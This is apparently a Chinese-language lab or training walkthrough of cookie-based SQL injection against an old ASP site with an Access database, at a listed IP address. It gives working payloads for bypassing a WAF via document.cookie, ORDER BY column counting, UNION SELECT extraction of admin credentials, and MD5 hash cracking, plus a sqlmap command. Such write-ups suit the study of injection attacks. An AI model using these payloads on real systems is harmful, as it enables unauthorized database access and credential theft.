针对老网站: asp aspx php<5.4以下>
题目: http://59.63.200.79:8004
1.http://59.63.200.79:8004/shownews.asp?id=171-1
#页面有变化,存在注入
2.http://59.63.200.79:8004/shownews.asp?id=171' and order by 1 -- qwe
#检测到非法字符,有防护.
怎么绕过:
1.规则绕过:
1.用其他函数替换要用的函数
2.用一些大小写或其他的方法去绕过
2.让waf不再对我们检测
id=171 GET传参
POST传参
Cookie传参 = header传参
PHP中的 $REQUEST['id'] 可以接收GET传参,POST传参,Cookie传参
注:php5.4以上不会接收Cookie传参
设置Cookie:ookie使用需要URL编码
1.浏览器F12,Applica,Cookies
2.burp 抓包,URL编码,添加cookie,重放
3.浏览器F12,Console js控制台, document.cookie="id="+escape("171 order by 10")
删除URL中的id=171,重新进入网页.
3.document.cookie="id="+escape("171 order by 11")
#10,正常 11,异常 有10个字段
4.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10")
#报错,因为数据库不同,Access数据库是非常老的数据库,MySQL语法不同
#access:没有系统自带表,没有库名
强行猜测: user admin news job
5.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from user...")
#强猜表名 使用burp,添加sqlmap中的表名字典进行爆破
6.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")
#报出2,3,字段点,字段名也需要强猜.
7.document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")
#得出username:admin
password:b9a2a2b5dffb918c
8, b9a2a2b5dffb918c MD5解码: welcome
使用sqlmap工具跑Cookie注入:
sqlmap.py -u "http://...../.../.asp" --cookie "id=171" --level 2
Cookie注入的核心: 传参的方式不同
asp(很常见10 9个)
PHP(10 1个)
jsp(100 1~2个)
cookie注入和数据库没有关系
Access
mysql
oracle
mssql
DB2